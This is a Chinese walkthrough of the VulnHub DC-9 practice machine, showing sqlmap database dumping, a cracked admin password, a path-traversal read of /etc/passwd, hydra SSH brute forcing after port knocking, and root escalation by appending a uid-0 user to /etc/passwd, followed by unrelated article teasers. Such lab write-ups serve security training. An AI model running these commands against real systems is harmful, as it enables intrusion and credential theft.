VulnHub靶机 DC-9 靶机 详细渗透过程

VulnHub靶机 DC-9 打靶实战 详细渗透过程

目录

  • VulnHub靶机 DC-9 打靶实战 详细渗透过程
    • 一、将靶机配置导入到虚拟机当中
    • 二、渗透测试
      • 主机发现
      • 端口扫描
      • Web渗透
        • SQL注入
        • 登入后台
        • 文件包含
        • SSH爆破
        • 提权

一、将靶机配置导入到虚拟机当中

靶机地址:

https://www.vulnhub.com/entry/dc-9,412/

image-20240427175043625

二、渗透测试

主机发现

通过使用arp-scan或者nmap进行主机发现

arp-scan -l

image-20240427175427033

端口扫描

发现主机后进行信息收集,端口扫描

nmap -p- 192.168.43.5

image-20240427175522914

开放HTTP80端口和SSH22端口,但是发现22端口为filtered状态,然后接下来查看HTTP的服务详情

nmap -p80 -sV -A 192.168.43.5

image-20240427175639500

访问web界面

image-20240427175753617

image-20240427175942360

指纹探测

whatweb http://192.168.43.5/index.php

image-20240427175930547

目录扫描

dirsearch -u http://192.168.43.5/ -i 200

image-20240427182930175

出来的目录基本都是在web界面当中所点击选项进行跳转所触发的目录

Web渗透

SQL注入

在搜索栏下发现有交互内容,输入一下信息并无输出什么,抓包尝试SQL注入

image-20240427183106599

抓取数据包,通过FUZZ测试SQL注入,发现有回显点,页面变化

image-20240427183224422

image-20240427183300197

页面发送变化,返回信息

image-20240427184721615

保存原始数据包,直接放入到sqlmap当中进行执行

//测试SQL注入,判断当前数据库,同时是否为DBA
python sqlmap.py -r sql.txt --random-agent --batch --current-db --is-dba --dbs

成功注入,发现当前使用的数据库,但并不是DBA

image-20240427183451884

脱库

python sqlmap.py -r sql.txt --random-agent --batch --current-db --is-dba --dbs -D Staff --dump

image-20240427183615639

users数据表当中发现用户名和密码,将密码进行md5解密

image-20240427183643305

image-20240427183706128

用户名:admin
密码:transorbital1

由于使用的当前数据库为Staff,所以可以直接判断出此用户名和密码即为后台管理员用户名和密码。

知道此,那么还有另一个数据库,继续脱库

python sqlmap.py -r sql.txt --random-agent --batch --current-db --is-dba --dbs -D users --dump

拿到大量的用户名和密码信息,保存下来

image-20240427183857256

登入后台

拿到的用户名和密码进行后台,登录进行,发现低端爆出文件未找到的信息,可能存在文件包含,根据提示尝试一下,成功读取/etc/passwd

image-20240427184905771

image-20240427185020733

文件包含
http://192.168.43.5/welcome.php?file=../../../../etc/passwd

image-20240427185726398

image-20240427185806810

通过/etc/passwd可得拥有很多的用户名,其中包括users数据库当中的用户名

image-20240427185927721

image-20240427183857256

SSH爆破

将之前保存下来的这些用户名和密码,进行爆破

hydra -L user.txt -P passwords.txt ssh://192.168.43.5
提权

ssh爆破得到三个用户名和密码,分别登录即可。

ps:如果ssh不能登录,是因为22端口没有打开,流量过滤了,在前面信息收集当中发现22端口是关闭的。但我这里通过爆破后进行ssh登录时可直接登录的,可能在前面端口扫描时触发了规则导致打开。

详细参考:安全系列之端口敲门服务

如果不能ssh连接原因如下:

image-20240427175522914

存在knockd服务。
该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来"敲门",使系统开启需要访问的服务端口,才能对外访问。
不使用时,再使用自定义的序列号来"关门",将端口关闭,不对外监听。进一步提升了服务和系统的安全//配置文件路径
默认配置文件是:/etc/knockd.conf

image-20240427212543349

//自定义端口后,依次对其进行敲门,然后就可以开启ssh服务进行连接了
//命令如下:
nmap 192.168.43.5 -p 7469
nmap 192.168.43.5 -p 8475
nmap 192.168.43.5 -p 9842
//执行完成过后,重新扫描22端口,即可发现ssh服务已经开启,可以访问

image-20240427213635311

ssh爆破,使用hydra工具进行爆破,等待即可

image-20240427190635480

chandlerb用户:

image-20240427191727259

joeyt用户:

image-20240427191750934

janitor用户:

image-20240427191819255

通过find命令和sudo -l 命令三者用户皆无得到可利用信息

但是通过三者发现在janitor用户的家目录下多了一个隐藏文件,查看后发现为密码文件,那么将这些密码添加到之前的字典当中,再次爆破一次

hydra -L user.txt -P passwords.txt ssh://192.168.43.5

image-20240427191928396

发现成功爆破出新的用户登录信息,进行登录。或者直接su切换也可

ssh fredf@192.168.43.5

image-20240427192256334

sudo -l命令查看到以root权限运行的文件,进行查看

sudo -l

test为可执行文件

image-20240427192340092

image-20240427192423912

查看所在目录的一些信息,寻找可利用内容

image-20240427192643948

返回上级目录查找到py文件,查看脚本内容

python脚本意思为将参数1进行读取,将参数1的内容写入到参数2当中

image-20240427193128772

那么接下来就可以进行构造/etc/passwd文件当中的信息,进行追加用户信息即可提权,仿照/etc/passwd文件当中内容进行构造信息

//etc/passwd下的root用户信息
root:x:0:0:root:/root:/bin/bash//根据root信息,构造用户信息追加到/etc/passwd文件当中,添加admin用户
admin:$1$123$Ok9FhQy4YioYZeBPwQgm3/:0:0:admin:/root:/bin/bash

ps:使用openssl生成密码即可

openssl passwd -1 -salt 123 admin
//-1为MD5加密算法,-salt指定盐值,后面为密码
//将上述构造的语句写入到文件当中

image-20240427194552701

将构造的信息保存到一个文件当中,然后接下来执行text即可

目前的/etc/passwd当中没有新增用户

image-20240427194726693

执行后:

sudo /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd

image-20240427194855063

image-20240427194842306

成功追加,直接su切换admin用户,输入密码,成功提权

su admin
Password:admin

image-20240427194942120

思路:主机发现—端口扫描—服务探测—指纹识别—Web渗透SQL注入—登入后台—文件包含—"敲门"打开22端口—SSH爆破—得到相关用户信息并远程登录—提权—分别搜寻三个用户下的目录文件—拿有价值信息进行查看—得到带有root权限的执行命令—分析并成功提权


VulnHub靶机 DC靶机系列 通关手册

DC-1:Vulnhub靶机 DC-1 渗透详细过程

DC-2:Vulnhub靶机 DC-2 渗透详细过程

DC-3:Vulnhub 靶机 DC-3 实战系列 渗透详细过程

DC-4:VulnHub系列 DC-4靶机 渗透详细过程

DC-5:VulnHub靶机 DC-5 打靶 渗透测试详细过程

DC-6:Vulnhub靶机 DC-6 打靶实战 详细渗透测试过程

DC-7:VulnHub靶机 DC-7 打靶 渗透详细流程

DC-8:VulnHub靶机 DC-8 打靶实战 详细渗透过程

DC-9:VulnHub靶机 DC-9 靶机 详细渗透过程


文章不妥之处,欢迎批评指正!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/4401.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用QTcpSocket

(1)客户端每隔10ms向服务器发送一次数字字符串&#xff0c;从0开始。 #ifndef MAINWINDOW_H #define MAINWINDOW_H#include <QMainWindow> #include <QTcpSocket> #include <QLabel> #include <QTimer> namespace Ui { class MainWindow; }class Mai…

单模与多模光纤:深入解析与应用

在现代通信系统中&#xff0c;光纤技术是不可或缺的一部分&#xff0c;它以其高速度和大容量传输数据而闻名。光纤主要分为两种类型&#xff1a;单模光纤&#xff08;Single-Mode Fiber, SMF&#xff09;和多模光纤&#xff08;Multimode Fiber, MMF&#xff09;。这两种光纤在…

Matplotlib是什么?

一、Matplotlib是什么&#xff1f; Matplotlib是一个Python语言的2D绘图库&#xff0c;它非常广泛地用于数据的可视化。以下是一些主要特点&#xff1a; 多功能性&#xff1a;它允许用户创建各种静态、动态或交互式的图表&#xff0c;如线图、散点图、直方图等。跨平台性&…

计算机视觉——使用OpenCV GrabCut算法从图像中移除背景

GrabCut算法 GrabCut算法是一种用于图像前景提取的技术&#xff0c;由Carsten Rother、Vladimir Kolmogorov和Andrew Blake三位来自英国剑桥微软研究院的研究人员共同开发。该技术的核心目标是在用户进行最少交互操作的情况下&#xff0c;自动从图像中分割出前景对象。 在Gra…

机器学习/算法工程师面试题目与答案-数学基础部分

机器学习/算法工程师面试题目--数学基础部分 一、数学基础1、微积分SGD,Momentum,Adagard,Adam原理L1不可导的时候该怎么办sigmoid函数特性 2、统计学&#xff0c;概率论求 Max(a, b) 期望拿更长的玫瑰花的最好策略最大化工作天数的员工数切比雪夫不等式随机截成三段组成三角形…

信号分解 | RLMD(鲁棒性局部均值分解)-Matlab

分解效果 RLMD(鲁棒性局部均值分解) RLMD(鲁棒性局部均值分解)-Matlab 代码实现 % %% 清除所有变量 关闭窗口 clc clear all close all%% 导入数据 % data = xlsread(Data.xlsx);%% 输入信号%% RLMD分解 %参数进行设置 % options.display =

SpringCloud系列(20)--Ribbon的简介及使用

1、Ribbon的简介 Spring Cloud Ribbon是基于Netflix Ribboh实现的一套客户端负载均衡的工具&#xff0c;简单的说&#xff0c;Ribbon是Netflix发布的开源项目&#xff0c;主要功能是提供客户端的软件负载均衡算法和服务调用。Ribbon客户端组件提供一系列完善的配置项如连接超时…

ETL中元数据处理的方式

ETLCloud平台是用于处理从数据抽取、转换、加载到持续数据捕获等一系列数据管理活动。除此之外还支持微服务治理与快速开发&#xff0c;并且具备数据库监听功能&#xff0c;能够以不同的方式监听并同步源数据库表数据到目标系统&#xff0c;比如直接传输、通过ETL流程处理或者传…

交直流充电桩检测的基础知识

交直流充电桩检测是电动汽车充电设施的重要组成部分&#xff0c;其目的是确保充电桩的正常运行&#xff0c;保障电动汽车的安全充电。以下是关于交直流充电桩检测的一些基础知识。 我们需要了解什么是交直流充电桩&#xff0c;简单来说&#xff0c;交直流充电桩是一种为电动汽车…

二维数组打印菱形(C语言)

一、N-S流程图&#xff1b; 二、运行结果&#xff1b; 三、源代码&#xff1b; # define _CRT_SECURE_NO_WARNINGS # include <stdio.h>int main() {//初始化变量值&#xff1b;char arr[5][5] { { , , *, , }, { , *, *, *, },{*, *, *, *, *}, { , *, *, *, …

使用NGINX做局域网内 浏览器直接访问链接 拓展外网链接访问本地

达成目的功能&#xff1a; 在本地服务的一个文件路径下&#xff0c;局域网内用ip和路径名访问到对应的地址&#xff1b;如 10.5.9.0/v1 即可访问到 某个固定本地地址目录 V1下&#xff0c;名为index.html的文件。前言 NGINX 是一个非常流行的开源 Web 服务器和反向代理服务器…

社交媒体数据恢复:Reddit

Reddit是一個娛樂、社交及新聞網站&#xff0c;註冊使用者可以將文字或連結在網站上發布&#xff0c;使它基本上成為了一個電子佈告欄系統。註冊使用者可以對這些貼文進行投票&#xff0c;結果將被用來進行排名和決定它在首頁或子頁的位置。網站上的內容分類被稱為「subreddit」…

Springboot+Vue项目-基于Java+MySQL的智慧校园管理系统(附源码+演示视频+LW)

大家好&#xff01;我是程序猿老A&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f49e;当前专栏&#xff1a;Java毕业设计 精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f380; Python毕业设计 &…

【研发管理】产品经理知识体系-产品设计与开发工具

导读&#xff1a;产品设计与开发工具的重要性体现在多个方面&#xff0c;它们对于产品的成功开发、质量提升以及市场竞争力都具有至关重要的影响。产品设计工具可以帮助设计师更高效地创建和优化产品原型。开发工具在产品开发过程中发挥着至关重要的作用。产品设计与开发工具还…

PotatoPie 4.0 实验教程(25) —— FPGA实现摄像头图像直方图均衡变换

图像的直方图均衡是什么&#xff1f; 图像的直方图均衡是一种用于增强图像对比度的图像处理技术。在直方图均衡中&#xff0c;图像的像素值被重新分配&#xff0c;以使得图像的直方图变得更均匀&#xff0c;即各个像素值的分布更加平衡。这意味着直方图中每个像素值的频率大致…

AMBA-CHI协议详解(二)

《AMBA 5 CHI Architecture Specification》 文章目录 2.1 Channels综述2.2 Channel域段2.2.1 request fields2.2.2 Response fields2.2.3 Snoop request fields2.2.4 Data fields 2.3 事务结构2.3.1 Read transactions2.3.1.1 Allocating Read2.3.1.2 Non-allocating Read 2.…

Spring Boot 的文件配置

SpringBoot的配置文件,有三种格式 1.properties 2.yaml 3.yml(yaml的简写) 这里主要介绍1和3格式的。 在项目中,同时存在properties和yml配置文件, properties的优先级更高 同时存在时,两个文件都生效 如果两个文件中,都包含同一个配置,以properties为主。 properties的配置…

深入解析AI绘画算法:从GANs到VAEs

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…

FebHost:摩洛哥.ma域名注册介绍,规则有哪些?

摩洛哥国家域名介绍 摩洛哥是位于非洲西北部的一个国家&#xff0c;北部和西部面向地中海和大西洋&#xff0c;东部和南部则与阿尔及利亚、西撒哈拉和毛里塔尼亚接壤。摩洛哥的首都是拉巴特&#xff0c;但最大城市是卡萨布兰卡。摩洛哥的官方语言是阿拉伯语和柏柏尔语&#xf…

使用 Python 和 DirectShow 从相机捕获图像

在 Python 中使用 OpenCV 是视觉应用程序原型的一个非常好的解决方案,它允许您快速起草和测试算法。处理从文件中读取的图像非常容易,如果要处理从相机捕获的图像,则不那么容易。OpenCV 提供了一些基本方法来访问链接到 PC 的相机(通过对象),但大多数时候,即使对于简单的…